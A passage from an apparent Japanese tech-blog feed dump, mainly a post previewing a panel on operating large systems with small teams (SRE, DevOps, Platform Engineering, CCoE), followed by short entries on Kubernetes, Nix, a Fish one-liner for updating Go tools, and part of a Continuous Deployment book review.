SmithオライリージャパンAmazonこのような複雑な背景を持つ大規模システムの運用について議論する機会をいただき、大変光栄に思うとともに、その難しさも痛感しております。このブログでは、イベントの概要をお伝えするとともに、私が登壇者として特に議論したいと考えているポイントをご紹介します。大規模システムの効率的な運用に関心のある方々に、このイベントが提供する価値と、当日予想される議論の展開について、参考情報を提供できればと思います。イベント概要と登壇の意気込み「大規模システムを少人数で効率的に、そして安全に運用する工夫」をテーマにしたパネルディスカッションに登壇することになりました。このイベントでは、大規模システムの効率的な運用に関する最新のトレンドと実践的なアプローチについて議論したいです。イベントで期待すること時間の制約があるため、全ての話題を深く掘り下げることは難しいですが、以下のような内容について議論できればと思っています。1. 運用設計の重要性の再確認大規模システムの運用における設計の重要性について、特にプロセスの標準化と自動化について様々な観点から議論が展開されることを期待しています。特に注目したいのは、継続的デリバリーに関する最新トレンドです。これらは、効率的な運用の基盤となるものであり、常に進化し続けています。同時に、効果的な監視(Monitoring)と観測可能性(Observability)確保のベストプラクティスも重要なトピックです。システムの健全性を常に把握し、問題を早期に発見・対処するための手法は、大規模システム運用の要となります。さらに、実際の現場での継続的改善サイクルの実践例と、それに伴う課題についても深く掘り下げたいと考えています。理論と実践のギャップを埋め、実効性のある改善活動を展開するための知見が共有されることを期待しています。最後に、大規模システム特有のリスク管理とインシデント対応の効果的アプローチについても議論したいと思います。予期せぬ障害や障害への迅速かつ適切な対応は、システムの信頼性維持に不可欠です。これらのトピックを通じて、参加者の皆様が自身の環境で「次に効率化に取り組むべき観点」を見出すヒントになればと思います。限られた時間ではありますが、できるだけ具体的な事例や実践的なアドバイスを共有できるよう努めたいと考えています。運用設計の重要性を再確認し、その効果的な実践方法について深い洞察を得られる場となることを目指したいです。2. 現代的アプローチによる大規模システム運用の効率化大規模システムの効率的な運用を実現するためには、Platform Engineering、DevOps、CCoE(Cloud Center of Excellence)、そしてSRE(Site Reliability Engineering)といった現代的なアプローチの統合的な活用が不可欠です。これらの概念は、それぞれが独自の強みを持ちながら、相互に補完し合うことで、システム運用の効率性と信頼性を大きく向上させます。これらをスピーカーの方々がどう展開していくか楽しみです。各概念については概要とおすすめ資料を貼っておきます。2.1 Platform EngineeringPlatform Engineeringは、開発者の生産性向上と業務効率化の要となる重要な分野です。議論の中心となるのは、開発者体験(Developer Experience)向上の具体的な方策です。これには、内部プラットフォーム構築のケーススタディやセルフサービス化によるデベロッパーの生産性向上が含まれます。また、プラットフォームの標準化と柔軟性のバランスを取ることの重要性も探ります。これらのトピックについて理解を深めるため、以下の資料も参考にしてほしいです。cloud.google.com speakerdeck.comlearning.oreilly.com speakerdeck.com2.2 DevOpsDevOpsの実践は、開発と運用の壁を取り払い、より効率的なシステム運用を実現します。ここでは、開発と運用の統合によるメリットと課題、CI/CDの最新プラクティスと導入のポイントについて議論したいです。「You build it, you run it」原則の実践方法や、自動化とツール化の成功事例も重要なトピックとなります。これらの議論を深めるため、以下の資料も参考にしてほしいです。learning.oreilly.comlearning.oreilly.comcloud.google.comweb.devopstopologies.comwww.ryuzee.com speakerdeck.com2.3 CCoE(Cloud Center of Excellence)CCoEは、組織全体のクラウド活用を最適化し、ガバナンスを確立する上で重要な役割を果たします。クラウドベストプラクティスの確立と普及方法、マルチクラウド環境でのガバナンス戦略、クラウドコスト最適化の具体的アプローチなどが主要な議論のポイントとなります。これらのトピックについて、以下の資料も参考にしてほしいです。aws.amazon.comtechblog.ap-com.co.jpDXを成功に導くクラウド活用推進ガイド CCoEベストプラクティス作者:黒須 義一,酒井 真弓,遠山 陽介,伊藤 利樹,饒村 吉晴日経BPAmazonca-srg.dev2.4 SRE(Site Reliability Engineering)[おまけ]SREは、システムの信頼性を維持しながら、イノベーションを促進するための重要な概念です。SLI(Service Level Indicator)とSLO(Service Level Objective)の効果的な設定と運用、エラーバジェットの活用による信頼性とイノベーションのバランス管理について議論したいです。また、トイル(反復的な手作業)の削減戦略とその効果、インシデント管理とポストモーテムの実践についても触れる予定です。これらのトピックについて、以下の資料も参考にしてほしいです。www.oreilly.co.jp speakerdeck.com speakerdeck.comsyu-m-5151.hatenablog.com各セッションでの私は、これらの資料を参考にしつつ、最新の事例や実践的なアプローチについて議論を展開したいです。参加者の皆様にとって、自組織での適用に役立つ具体的な知見を得られる機会となることを期待しています。3. 大規模システムの効率的運用の課題と対策についての議論大規模システムを少人数で効率的に運用するには、技術面だけでなく組織面での工夫も重要です。このセッションでは、実際の運用現場で直面する課題とその対策について、私の経験から得た洞察を共有します。これらのトピックについても登壇者や参加者の皆さまと当日お話ができれば嬉しいです。当日はおそらく具体性の高いテーマについてそれぞれ話すと思うのですが、ここでは私のスタンスを決めておくために抽象的な話をしたいと思います。具体と抽象作者:細谷 功dZERO(インプレス)Amazonまた、人の具体的な技術や現場の話を聞く時のコツは相手がどのような立場の人間でどういう悩みをもっているか想像したり知ることで理解が深まります。この点について、コミュニケーションの観点からさらに掘り下げると、以下のような考察ができます。相手の立場や悩みを想像することで理解が深まるのは、各個人が独自の知識体系や思考の枠組みを持ち、認知バイアスの影響を受けているため、効果的なコミュニケーションには相手の考えや感情を推測する能力と自己の思考を客観視する能力が重要だからです。これらの点を意識することで、大規模システムの運用に関する議論や情報共有がより実りあるものになると考えています。「何回説明しても伝わらない」はなぜ起こるのか? 認知科学が教えるコミュニケーションの本質と解決策作者:今井むつみ日経BPAmazon3.1 大規模システム運用の現実と組織的課題理想的な運用モデルと実際の運用現場のギャップについて考察したいです。理論と実践の乖離を埋めるための具体的なアプローチや、現場の声を活かした運用モデルの最適化事例を聞きたいです。また、少人数チームでの大規模システム運用における組織的な課題とその解決策を探りたいです。リソース制約下での効果的なタスク分配と優先順位付け、クロスファンクショナルスキルの育成による柔軟な人員配置などが重要なポイントとなります。チームトポロジー 価値あるソフトウェアをすばやく届ける適応型組織設計作者:マシュー・スケルトン,マニュエル・パイス日本能率協会マネジメントセンターAmazon3.2 効率的な運用を支える組織文化の構築HRT(Humility, Respect, Trust)原則を基盤とした少人数チームの強化方法について議論したいです。チーム内でのオープンなフィードバック文化の醸成や、相互理解と信頼関係を深めるためのチームビルディング活動の重要性を強調したいです。さらに、システム/サービスの価値を組織全体で共有するための効果的なコミュニケーション手法を探りたいです。定期的な全体会議やニュースレターを活用した情報共有、ビジュアライゼーションツールを用いたシステム価値の可視化などが具体的な方策となります。Team Geek ―Googleのギークたちはいかにしてチームを作るのか作者:Brian W. Fitzpatrick,Ben Collins-SussmanオライリージャパンAmazon3.3 段階的アプローチによる運用改善と組織変革スモールスタートの重要性と組織全体への展開方法を議論したいです。パイロットプロジェクトの選定と成功事例の横展開、段階的な改善プロセスの設計と各フェーズでの評価指標の設定などが重要です。また、少人数チームでの定点観測会の効果的な運営とステークホルダーマネジメントについて考察したいです。データ駆動型の定点観測会の実施方法と成果の可視化、ステークホルダーの期待値管理と効果的な報告体制の構築などが焦点となります。業務改革の教科書--成功率9割のプロが教える全ノウハウ (日本経済新聞出版)作者:白川克,榊巻亮日経BPAmazon3.4 大規模システムの効率的な運用設計と組織的活用少人数チームの生産性を向上させる運用設計の実践事例を聞きたいです。標準化されたプロセスとツールの導入によるチーム効率の向上、自動化を活用した日常的なオペレーションの効率化、チーム間のナレッジ共有を促進する仕組みづくりなどが重要なポイントです。また、組織の成長に合わせた運用設計の進化と最適化について議論したいです。スケーラブルな運用モデルの設計と段階的な導入方法、変化する事業ニーズに柔軟に対応できる運用設計のアプローチ、継続的な改善サイクルを組み込んだ運用設計プロセスの確立などが焦点となります。「変化を嫌う人」を動かす: 魅力的な提案が受け入れられない4つの理由作者:ロレン・ノードグレン,デイヴィッド・ションタル草思社Amazon3.5 技術的改善の価値を組織全体で共有する方法「信頼性は会話です」という考え方を組織文化に組み込む実践例を聞きたいです。定期的な信頼性レビュー会議の実施と改善点の共有、チーム横断的な信頼性向上タスクフォースの設置などが具体的な方策となります。また、ITIL 4フレームワークを活用した組織横断的な価値創出事例を共有し、ITILのベストプラクティスを組織の特性に合わせてカスタマイズする方法やサービス価値システムの構築と継続的な最適化プロセスについて議論したいです。さらに、少人数チームの技術的改善を経営層に効果的に伝えるテクニックを探りたいです。ビジネス指標と技術指標を紐付けた改善効果の可視化、経営層向けダッシュボードの設計と定期的な報告会の実施などが重要なポイントとなります。【ITIL4公認】ITIL 4の基本 図解と実践作者:中 寛之日経BPAmazon3.6 継続的な改善を推進する組織体制の構築「始めるより続けることの方が難しい」という現実に対する組織的アプローチを議論したいです。長期的な改善ロードマップの設計と定期的な見直しプロセス、改善活動の成果を評価・表彰する仕組みの導入などが焦点となります。また、少人数チームでの理論、実践、モチベーションのバランスを保つ具体的な方法を探りたいです。学習と実践のサイクルを組み込んだ業務設計、チーム内でのスキルマトリクスの活用と成長機会の創出などが重要なポイントです。企業変革のジレンマ 「構造的無能化」はなぜ起きるのか作者:宇田川元一日経BPAmazon3.7 運用原則の組織への効果的な導入新しい運用原則の導入事例と組織全体への展開方法を聞きたいです。運用原則の核心的要素の段階的導入計画(例:SREの場合のエラーバジェット概念)、新しい運用文化の醸成とエンジニアリング組織全体への浸透策、様々な運用原則(SRE、DevOps、ITIL等)の基本概念を組織に適用する方法などが焦点となります。また、定量的指標を活用した組織的な意思決定プロセスについて議論し、サービスレベル目標(例:SLO)の設定プロセスとステークホルダーとの合意形成手法、リスクベースの優先順位付けと資源配分のための指標活用(例:エラーバジェット)などを探りたいです。さらに、インシデント管理と事後分析を組織の学習文化に組み込む方法を考察し、責任追及ではなく改善を重視する文化を醸成するための事後分析ガイドラインの策定、インシデントからの学びを組織知識として蓄積・活用するナレッジマネジメントシステムの構築などについて議論したいです。【改訂新版】システム障害対応の教科書作者:木村 誠明技術評論社Amazon大規模システムの効率的な運用は、技術と組織の両面からのアプローチが不可欠です。少人数チームでの運用という制約の中で、いかに組織の力を最大限に引き出し、システムの安定性と効率性を両立させるか。この課題に対する様々な視点と解決策について、参加者の皆様と活発な議論ができることを楽しみにしています。おわりにこのイベントが、大規模システムの効率的な運用に関する深い洞察と実践的な知見を共有される場となることを強く期待しています。Platform Engineering、DevOps、CCoE、SREの概念を適切に組み合わせ、各組織の特性に合わせてカスタマイズする方法について、参加者全員で活発な議論ができることを楽しみにしています。大規模システムの運用の正解は常に変化し続けるものです。このイベントでの学びを通じて、参加者それぞれが自社のシステム運用を見直し、改善していくきっかけになれば幸いです。登壇者の一人として、皆様と直接対話し、互いの経験や知見を共有できることを心から楽しみにしています。ぜひ多くの方にご参加いただき、一緒に大規模システムの効率的な運用について語り合いましょう!イベントの詳細や参加方法については、イベント公式ページをご確認ください。皆様のご参加を心よりお待ちしております。なお、このブログは私の思いつくままに書いたため、やや散文的になってしまいました。しかし、ここに記した考えや情報が、大規模システムの運用に関わる方々にとって何かしらの参考になれば幸いです。私自身、このイベントを通じてさらに学びを深め、より洗練された見解を得られることを楽しみにしています。www.youtube.com","link":"https://syu-m-5151.hatenablog.com/entry/2024/10/15/101516","isoDate":"2024-10-15T01:15:16.000Z","dateMiliSeconds":1728954916000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"[Sidecar Containers] Pod Eviction 時のメッセージの改善","contentSnippet":"はじめに先日 Kubernetes で報告されていたバグを修正する PR を送りました。その時に、今後 Kubernetes へのコントリビュートを考えている方の参考になればと思い、どう取り組んだか (Issue の読み解き方やローカル環境での再現、コードの修正、テストの追加などの一通りの流れ) を脳内ダンプして言語化してみました。それを社内向けに共有していたのですが、PR も無事にマージされたので、一部加筆修正して記事として公開します。Issue: [Sidecar Containers] Eviction message should account for the sid...","link":"https://zenn.dev/toversus/articles/d78254ad757094","isoDate":"2024-10-14T07:39:56.000Z","dateMiliSeconds":1728891596000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"スリーシェイク、「Biz/Zine Day 2024 Autumn」に出展","contentSnippet":"株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)が提供するSRE総合支援サービス「Sreake(スリーク)」は、2024年10月30日(水) に開催される「Biz/Zine Day 2024 Autumn」にブース出展することをお知らせします。The post スリーシェイク、「Biz/Zine Day 2024 Autumn」に出展 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/biz-zine-day-2024-autumn/","isoDate":"2024-10-10T01:18:48.000Z","dateMiliSeconds":1728523128000,"authorName":"Sreake","authorId":"Sreake"},{"title":"FishでGoパッケージを一括更新したいのでワンライナー","contentSnippet":"はじめにGoプログラマーにとって、パッケージを最新の状態に保つことは重要な作業だ。しかし、複数のパッケージを個別に更新するのは時間がかかり、効率が悪い。そこで今回は、Fishシェルを使用してGoパッケージを一括更新する堅牢なワンライナーを紹介する。このワンライナーは、様々な環境設定に対応できる柔軟性を持ち、効率的にパッケージを更新できる強力なツールだ。ワンライナーの全容まずは、このワンライナーの全体像を見てみよう。set -l gobin (go env GOBIN); test -z \\"$gobin\\" && set gobin (go env GOPATH)/bin; for f in $gobin/*; if test -x $f; set pkg (go version -m $f | awk \'/mod /{print $2}\'); test -n \\"$pkg\\" && go install \\"$pkg@latest\\"; end; end一見複雑に見えるこのコマンドだが、実は論理的に構成された複数の処理の組み合わせである。以下、各部分の役割と動作原理を詳しく解説していく。ワンライナーの解剖dic.pixiv.net1. GOBINの設定と確認set -l gobin (go env GOBIN); test -z \\"$gobin\\" && set gobin (go env GOPATH)/bin;この部分は、Goバイナリのインストール先ディレクトリを特定する役割を果たす。set -l gobin (go env GOBIN):GOBINの値を取得し、ローカル変数gobinに格納する。test -z \\"$gobin\\" && set gobin (go env GOPATH)/bin:gobinが空の場合(つまりGOBINが設定されていない場合)、GOPATH/binをデフォルトとして使用する。この処理により、GOBINの設定の有無に関わらず適切なディレクトリを使用できる柔軟性を確保している。2. ディレクトリ内のファイル処理for f in $gobin/*; ...; end$gobinディレクトリ内の全ファイルに対してループ処理を行う。これにより、インストールされている全てのGoバイナリを対象に処理を実行できる。3. 実行可能ファイルの選別if test -x $f; ...; endtest -x $fで、ファイル$fが実行可能かどうかをチェックする。これにより、実行可能なバイナリファイルのみを処理対象とし、不要なファイルを除外している。4. パッケージ情報の抽出set pkg (go version -m $f | awk \'/mod /{print $2}\')go version -m $fコマンドでバイナリファイルのモジュール情報を取得し、awkコマンドを使用してパッケージ名を抽出する。この結果をpkg変数に格納する。5. パッケージの更新test -n \\"$pkg\\" && go install \\"$pkg@latest\\"pkg変数が空でないことを確認し、有効なパッケージ名が得られた場合のみgo install \\"$pkg@latest\\"を実行して最新バージョンにアップデートする。このワンライナーの利点環境適応性: GOBINの設定の有無に関わらず動作する。安全性: 実行可能ファイルのみを処理し、有効なパッケージ名が得られた場合のみ更新を試みる。効率性: 一行で全ての処理を完結させ、高速に実行できる。汎用性: 様々なGo開発環境で使用できる。使用上の注意点このワンライナーは、Fishシェル専用である。Bash等の他のシェルでは動作しない。GOPATHが正しく設定されていることを前提としている。大量のパッケージがある場合、実行に時間がかかる可能性がある。まとめ本記事で紹介したワンライナーは、Goプログラマーの日常的なタスクを大幅に簡略化し、開発環境を最新に保つ強力なツールとなる。環境設定の違いに柔軟に対応し、安全かつ効率的にパッケージを更新できる点が大きな魅力だ。このワンライナーを自分の開発フローに組み込むことで、常に最新のGoパッケージを使用した、より効率的で安全な開発が可能になる。ぜひ試してみてほしい。Goプログラミングの世界は日々進化している。このワンライナーを活用し、最新の機能や改善を逃さず、より良いコードを書く手助けとしてほしい。他にいい方法があればおしえてください。","link":"https://syu-m-5151.hatenablog.com/entry/2024/10/09/180510","isoDate":"2024-10-09T09:05:10.000Z","dateMiliSeconds":1728464710000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"nix-shellでRを使う","contentSnippet":"NixはLinuxやUnix向けのパッケージマネージャーです。nix-env --install Rとしてグローバルに利用可能なRをインストールすることもできますが、nix-shell --package Rして一時的なR環境をbash上に構築することもできます。R本体やパッケージのバージョン指定も可能なので、プロジェクトごとにパッケージのバージョン指定が異なる場合や、グローバル環境にインストールしたパッケージとプロジェクト用パッケージで依存関係が衝突する場合に便利です。","link":"https://blog.atusy.net/2024/10/07/nix-shell-and-r/","isoDate":"2024-10-07T00:00:00.000Z","dateMiliSeconds":1728259200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"tinygo + koebitenを自作したGopherくん基板で動かしてみる","contentSnippet":"はじめにkoebiten はもともと ebiten というGoでゲームを作るためのライブラリを tinygo を利用してマイコン上で動くようにsago35さんが移植したものです。koebiten自体は現在sago35さんが設計されたキーボード基板(zero-kb02)で動くようになっていますが、これを改造して自分で作成しているGopherくん基板で動かしてみました。 koebitenの改造sago35さんが設計された zero-kb02 と僕のGopherくん基板ではHW構成や回路が異なります。まず zero-kb02 では rp2040-zero というマイコンを利用...","link":"https://zenn.dev/satoken/articles/tinygo-koebiten","isoDate":"2024-10-06T11:44:00.000Z","dateMiliSeconds":1728215040000,"authorName":"satoken","authorId":"satoken"},{"title":"スリーシェイク、Generative AI Summit Tokyo ’24 Fall に協賛","contentSnippet":"株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)は、2024年10月8日(火)にGoogle 渋谷オフィスで開催される「Modern Infra & Apps Summit ’24」 (主催:グーグル・クラウド・ジャパン合同会社) にスポンサーとして協賛し、セッション登壇することをお知らせします。The post スリーシェイク、Generative AI Summit Tokyo ’24 Fall に協賛 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/generative-ai-summit-tokyo-24-fall/","isoDate":"2024-10-03T01:12:24.000Z","dateMiliSeconds":1727917944000,"authorName":"Sreake","authorId":"Sreake"},{"title":"ポストCloud9?クラウドIDE CoderでPlatform Engineeringを実践する","contentSnippet":"はじめに こんにちは、Sreake事業部の志羅山です。 早いものでもう10月。私が住む長野県はもう朝晩の気温は10℃台となり、日中もとても過ごしやすい気候です。振り返ると今年の夏は天気も不安定で、とても暑い夏でしたね・・ […]The post ポストCloud9?クラウドIDE CoderでPlatform Engineeringを実践する first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/platform-engineering-with-cloud-ide-coder/","isoDate":"2024-10-03T00:44:56.000Z","dateMiliSeconds":1727916296000,"authorName":"Sreake","authorId":"Sreake"},{"title":"BigQuery データキャンバスについて","contentSnippet":"はじめに こんにちは。Sreake事業部DBREチームのsenoです。10月に入り、暦の上では秋となりました。とはいえ夏の暑さはまだまだ続いておりますね。 最近は、気持ちだけでも秋を感じるために「〇〇の秋」と称して色々や […]The post BigQuery データキャンバスについて first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/learn-about-bigquery-datacanvas/","isoDate":"2024-10-02T09:25:24.000Z","dateMiliSeconds":1727861124000,"authorName":"Sreake","authorId":"Sreake"},{"title":"いいぞいいぞと言われるnixをためしてる","contentSnippet":"NixはLinuxやUnix向けのパッケージマネージャーです。ぱっと5つメリットをあげるとこんなところでしょうか。様々なLinuxディストリビューションやmacOSで使える再現性がありロールバックも可能入れたいパッケージごとに依存関係を独立して管理するので、Aを入れるにはBのバージョンアップが必要みたいな問題が起きない特定のプロジェクト(ディレクトリ)ごとに使うパッケージを変えられる設定ファイルも含めた構成管理ソフトウェアとしても使える最近、スリーシェイクに転職して、職場のPCがmacOSになりました。以前は仕事もプライベートもmanjaro linuxで統一していたのでとりあえずparuを使えばよかったのですが、そうも言ってられないので、Nixを使ってみることにしました。","link":"https://blog.atusy.net/2024/10/02/trying-nix/","isoDate":"2024-10-02T00:00:00.000Z","dateMiliSeconds":1727827200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"継続的デプロイメントの継続的な学習 - Continuous Deployment の読書感想文","contentSnippet":"自動化は私の忍耐力の限界を補完してくれます。はじめに本書「Continuous Deployment」は、継続的デプロイメントの実践に焦点を当てた包括的なガイドです。継続的デプロイメントは、ソフトウェアパイプラインを完全に自動化し、手動介入を必要としない手法です。この方法により、クオリティーゲートを通過したすべてのコードコミットが自動的に本番環境にデプロイされます。私は、ソフトウェア開発の現場で、オンプレミスの手動デプロイから始まり、Makefileによる自動化、JenkinsやCircleCI、GitHub Actions、GitLab CI/CD、AWS CodePipeline、Cloud Build 、ArgoCD、PipeCDなど、様々なツールや手法を経験してきました。この過程で、継続的デプロイメントが開発プロセスを改善し、ビジネス価値を創出する様子を目の当たりにしました。継続的デプロイメントは、継続的インテグレーション(CI)と継続的デリバリー(CD)の実践をさらに進めたものです。CIは開発者のコード変更を頻繁にメインブランチに統合し、CDはそのコードをいつでもリリース可能な状態に保ちます。継続的デプロイメントでは、すべての変更が自動的に本番環境にデプロイされます。開発者がコードをメインブランチにプッシュまたはマージすると、自動化されたパイプラインがそのコードをビルド、テスト、本番環境へデプロイします。人間による最終承認のステップは存在せず、品質チェックをパスしたすべての変更が即座に本番環境に反映されます。Continuous Deployment: Enable Faster Feedback, Safer Releases, and More Reliable Software作者:Servile, ValentinaO\'Reilly MediaAmazon本書は、継続的デプロイメントの理論的基礎から実践的適用まで幅広く網羅しています。各章の概念や戦略は、業界の専門家たちの知見に基づいています。特に、フィーチャーフラグ、カナリーリリース、A/Bテストなどの手法は、現代のソフトウェア開発に不可欠です。継続的デプロイメントの価値は、ソフトウェア開発の特性と人間の性質を理解することで明確になります。ソフトウェア開発は多くの小規模で反復的なタスクの集合体です。例えば、設定ファイルの更新後のコード自動生成、コード変更後のビルドとテスト実行、テスト結果のレポート作成、リリース用ファイルの準備とパッケージングなどです。人間はこのような単調な反復作業を得意としません。創造的思考や問題解決には長けていますが、同じタスクを正確に繰り返すことは苦手です。時間とともに集中力が低下し、作業の精度も落ちます。一方、コンピューターシステムはこの種の反復作業に適しています。与えられた指示を疲れることなく、一定の精度で遂行できます。継続的デプロイメントは、人間と機械の特性の違いを活かし、相互補完的に活用します。コード変更から本番環境へのデプロイまでを完全に自動化することで、開発者は創造的な問題解決に注力でき、反復的なタスクはシステムに任せることができます。結果として、ソフトウェア開発プロセス全体の効率が向上し、人的ミスのリスクも減少します。本書は、技術的側面だけでなく、組織文化やチーム間の協力体制についても掘り下げています。また、継続的デプロイメントがもたらすソフトウェアのリリースサイクルの短縮や、ユーザーへのフィードバックループの最小化についても解説しています。同時に、この手法がコードの品質管理やテスト戦略により高い要求を課すことも重要です。本書では、強固な自動テスト、モニタリング、迅速なロールバック機能など、継続的デプロイメントを成功させるために不可欠な安全策についても説明しています。この本を通じて、継続的デプロイメントの本質を理解し、プロジェクトや組織に適用するための実践的なアイデアを得ることができます。以下に、私の読書体験と個人的な見解を交えた感想文を記します。この本は、継続的デプロイメントの理念と実践について詳しく解説しています。技術的な手法の説明だけでなく、ソフトウェア開発の本質と人間の特性を考慮した、効果的な開発プロセスの構築方法を提示しています。私自身、この本を通じて継続的デプロイメントの価値を再認識し、新たな視点を得ることができました。この本は、ソフトウェア開発の将来を示唆する重要な一冊だと確信しています。そのため、来年の「このSRE本がすごい!」にも追加したいと考えています。syu-m-5151.hatenablog.comこの本を通じて、継続的デプロイメントの意義を理解し、開発プロセスを改善するヒントを見出せることを願っています。I. Continuous DeploymentChapter 1. Continuous Deployment第1章「Continuous Deployment」は、継続的デプロイメントの基本概念から始まり、その歴史的背景、重要性、実践哲学、そして「効果的な」継続的デプロイメントの特性に至るまで、幅広いトピックをカバーしています。この章を通じて、継続的デプロイメントの本質と、それがソフトウェア開発においてどのような役割を果たすかを明確に示しています。継続的デプロイメントの進化と重要性ソフトウェア開発の歴史を振り返ることから始め、かつては月単位や年単位でリリースが行われていた時代から、現在の日次または週次リリースへの変遷を説明しています。この変化は、ビジネスニーズの変化に迅速に対応する必要性から生まれたものです。Figure 1-1. The typical path to production before the early 2000s より引用特に印象的だったのは、「If it hurts, do it more often:痛いなら、もっと頻繁にやればいい」というeXtreme Programming (XP)の原則です。この原則は、痛みを伴うプロセス(例えば、デプロイメント)を頻繁に行うことで、そのプロセスを改善し、最終的には痛みを軽減できるという考え方です。継続的デプロイメントの基本的な思想を表していると言えます。この原則は、私自身の経験とも非常に共鳴します。例えば、以前参加していたプロジェクトでは、月に1回の大規模なリリースが常にストレスフルで、多くのバグや障害を引き起こしていました。そこで、我々はリリース頻度を週1回に増やし、各リリースの規模を小さくしました。最初は大変でしたが、徐々にプロセスが改善され、最終的にはリリース作業が日常的な業務の一部になりました。これにより、バグの早期発見や迅速な修正が可能になり、システムの安定性が大幅に向上しました。DevOpsとの関連性DevOpsの概念と継続的デプロイメントの関係性についても詳しく説明しています。DevOpsは、開発(Dev)と運用(Ops)の壁を取り払い、両者の協力を促進する文化や実践を指します。継続的デプロイメントを実現する上で不可欠な要素です。DevOpsの実践は、継続的デプロイメントを支える重要な基盤となります。例えば、インフラストラクチャのコード化(Infrastructure as Code)は、環境の一貫性を保ち、デプロイメントの自動化を可能にします。また、モニタリングやロギングの改善は、迅速なフィードバックループを確立し、問題の早期発見と解決を支援します。私の経験から、DevOpsの実践は継続的デプロイメントの成功に不可欠だと強く感じています。以前、開発チームと運用チームが分断されていた組織で働いていましたが、デプロイメントの度に混乱が生じ、問題の解決に時間がかかっていました。DevOpsの原則を導入し、両チームが協力してデプロイメントパイプラインを設計・実装することで、プロセスが大幅に改善されました。特に、開発者が運用の視点を持ち、運用チームが開発プロセスを理解することで、より堅牢で管理しやすいシステムが構築できるようになりました。継続的インテグレーションと継続的デリバリー継続的インテグレーション(CI)と継続的デリバリー(CD)について詳しく説明し、これらが継続的デプロイメントの前身となる重要な実践であることを強調しています。CIは、開発者の変更を頻繁にメインブランチに統合する実践です。これにより、統合の問題を早期に発見し、修正することが可能になります。CDは、CIをさらに発展させ、ソフトウェアをいつでもリリース可能な状態に保つ実践です。この辺は読んだことがない場合にはこちらの書籍がおすすめである。Grokking Continuous Delivery (English Edition)作者:Wilson, ChristieManningAmazon日本語版もあるので入門 継続的デリバリー ―テストからリリースまでを安全に自動化するソフトウェアデリバリーのプロセス作者:Christie WilsonオライリージャパンAmazonこれらの説明は、経験してきたCIとCDの導入過程と非常に一致しています。例えば、以前のプロジェクトでは、開発者が長期間にわたって個別のブランチで作業し、統合時に大きな問題に直面することがよくありました。CIを導入し、小さな変更を頻繁に統合するようにしたことで、これらの問題は大幅に減少しました。CDの導入は、さらに大きな変化をもたらしました。以前は、リリース前の数日間を集中的なテストとバグ修正に費やしていましたが、CDを導入することで、ソフトウェアが常にリリース可能な状態を維持できるようになりました。これにより、リリースのストレスが大幅に軽減され、新機能や修正をより迅速にユーザーに届けられるようになりました。継続的デプロイメントの定義と実装継続的デプロイメントを「コミットがメインブランチにプッシュまたはマージされると、すべてのクオリティーゲートが緑色である限り、必ず本番デプロイメントが行われる」と定義しています。CI/CDの次の進化段階と言えるでしょう。Figure 1-2. The typical path to production today より引用継続的デプロイメントの実装は、一見シンプルに見えます。著者が説明するように、既存のCDパイプラインの本番デプロイメントステップを再構成するだけで済む場合が多いからです。しかし、これは技術的な実装の話で、課題は組織文化や開発プラクティスの変革にあります。私の経験から、継続的デプロイメントへの移行は技術的な課題よりも、組織的・文化的な課題の方が大きいと感じています。例えば、あるプロジェクトで継続的デプロイメントを導入しようとした際、技術的な準備は比較的容易でしたが、チームメンバーの不安やステークホルダーの抵抗に直面しました。特に、「本番環境に直接デプロイすることの危険性」や「品質管理の不安」といった懸念が大きかったです。これらの課題を克服するためには、段階的なアプローチと綿密なコミュニケーションが不可欠でした。まず、小規模なサービスから始めて成功事例を作り、徐々に規模を拡大していきました。また、自動テストの拡充や監視の強化を行い、問題が発生しても迅速に検知・対応できる体制を整えました。さらに、チーム全体でのレビュープロセスの改善や、フィーチャーフラグの活用など、コードの品質を担保するための施策も導入しました。継続的デプロイメントの影響と課題継続的デプロイメントの採用が開発プロセス全体に与える影響について詳しく説明しています。例えば、未完成のコードの隠蔽方法、後方互換性の確保、他の本番サービスとの契約の維持、デプロイメントとフィーチャーリリースの分離などの課題が挙げられています。これらの課題は、私の経験とも深く共鳴します。例えば、継続的デプロイメントを導入した際、未完成の機能をどのように本番環境に安全にデプロイするかが大きな課題となりました。この問題に対処するため、我々はフィーチャーフラグを積極的に活用し、コード自体は本番環境にデプロイしつつ、機能の有効化は制御できるようにしました。これにより、大規模な変更でも段階的なロールアウトが可能になり、リスクを最小限に抑えることができました。また、後方互換性の確保も重要な課題でした。特に、マイクロサービスアーキテクチャを採用している環境では、サービス間の整合性を維持することが不可欠です。この課題に対しては、APIのバージョニング戦略の導入や、コンシューマー駆動契約テスト(Consumer-Driven Contract Testing)の実施など、複数のアプローチを組み合わせて対応しました。継続的デプロイメントのリスクと安全性継続的デプロイメントのリスクについても率直に触れています。各変更が即座に本番環境に反映されるため、不適切な変更が複雑なサービス網に影響を与える可能性があります。このリスクへの対処は、重要な責務の一つです。私の経験では、以下のような戦略が効果的でした:段階的なロールアウト:カナリアリリースやブルー/グリーンデプロイメントを活用し、変更の影響を限定的に確認できるようにしました。自動ロールバック:問題が検出された場合に自動的に前のバージョンに戻すメカニズムを実装しました。高度な監視と警報:詳細なメトリクスの収集と、異常を即座に検知できる警報システムを構築しました。カオスエンジニアリング:意図的に障害を注入し、システムの回復力を継続的にテストしました。これらの施策により、継続的デプロイメントのリスクを大幅に軽減し、同時にシステムの信頼性と回復力を向上させることができました。結論継続的デプロイメントが単なる技術的な実装以上のもので、ソフトウェア開発プロセス全体の再考を要する実践であることを強調しています。継続的デプロイメントは、開発サイクルを劇的に短縮し、フィードバックループを最小化することで、ソフトウェア開発の効率と品質を大幅に向上させる可能性を秘めています。しかし、その実現には技術的な課題だけでなく、組織文化や開発プラクティスの根本的な変革が必要です。私の経験から、継続的デプロイメントの成功には複数の要素が不可欠だと考えています。まず、テスト、デプロイメント、監視のあらゆる面で強力な自動化を推進することが重要です。これにより、人為的ミスを減らし、プロセスの一貫性と速度を向上させることができます。次に、「